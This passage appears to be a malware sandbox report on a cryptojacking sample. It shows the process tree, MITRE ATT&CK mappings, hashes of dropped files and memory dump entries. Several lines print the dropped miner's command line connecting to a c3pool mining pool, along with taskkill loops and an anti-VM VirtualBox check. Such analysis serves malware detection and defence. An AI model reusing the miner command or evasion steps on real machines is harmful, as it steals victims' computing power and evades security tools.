  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5884
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5976
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5908
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:5812
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4344
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:6012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:6072
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6092
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5836
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5880
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:2124
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:4996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6124
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6080
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:5904
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:6092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:6064
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6068
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:4996
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:6096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6076
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:412

C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
1⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
PID:1528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SMB.exe

Filesize
3.1MB

MD5
7b2f170698522cd844e0423252ad36c1

SHA1
303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

SHA256
5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

SHA512
7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

Download Submit
C:\ProgramData\X64.dll

Filesize
85KB

MD5
58afd36c7a90dc7707dbadce07fd9754

SHA1
c3860a05100bc586e9f068dd119f19cac7d89741

SHA256
69b007ba2c100a10f71498d6bceae977e8f2803cb94b7139c9cfcd693c30a2b8

SHA512
5b4422cad8f059edc3ce87436a612e92302bc83249207e26bbca8c3e18631d28cb97fad5ff409f8df7b918273ab829666040f1b16c00da48a6a6bd488a25e352

Download Submit
C:\ProgramData\sBnopqr.exe

Filesize
1.3MB

MD5
23d84a7ed2e8e76d0a13197b74913654

SHA1
23d04ba674bafbad225243dc81ce7eccd744a35a

SHA256
ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

SHA512
aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Filesize
9.0MB

MD5
6b4f06f6c6c73a1d56c5a66be8306541

SHA1
2af7e6175abe6f102520b61a92e03990c80cc2f4

SHA256
1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8

SHA512
fda4c6bde698c62c66f6e8023f1cdd84b7fca99c19f8c02882045d19ba983e7a9a0223f6ffbebbe2d8ffb363b02f437f550413cb16bdff110d4da3e09e0b0ed2

Download Submit
memory/676-8-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/676-10-0x000002396BDD0000-0x000002396BDE4000-memory.dmp

Filesize
80KB

Download
memory/676-132-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/676-138-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/972-141-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/2976-156-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/2980-149-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/4344-168-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/4408-207-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/4408-205-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/4800-153-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/5836-174-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/5880-177-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/5908-160-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6012-170-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6068-202-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6076-210-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6080-196-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6080-198-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6092-164-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download
memory/6124-181-0x00007FF61B2A0000-0x00007FF61B8E4000-memory.dmp

Filesize
6.3MB

Download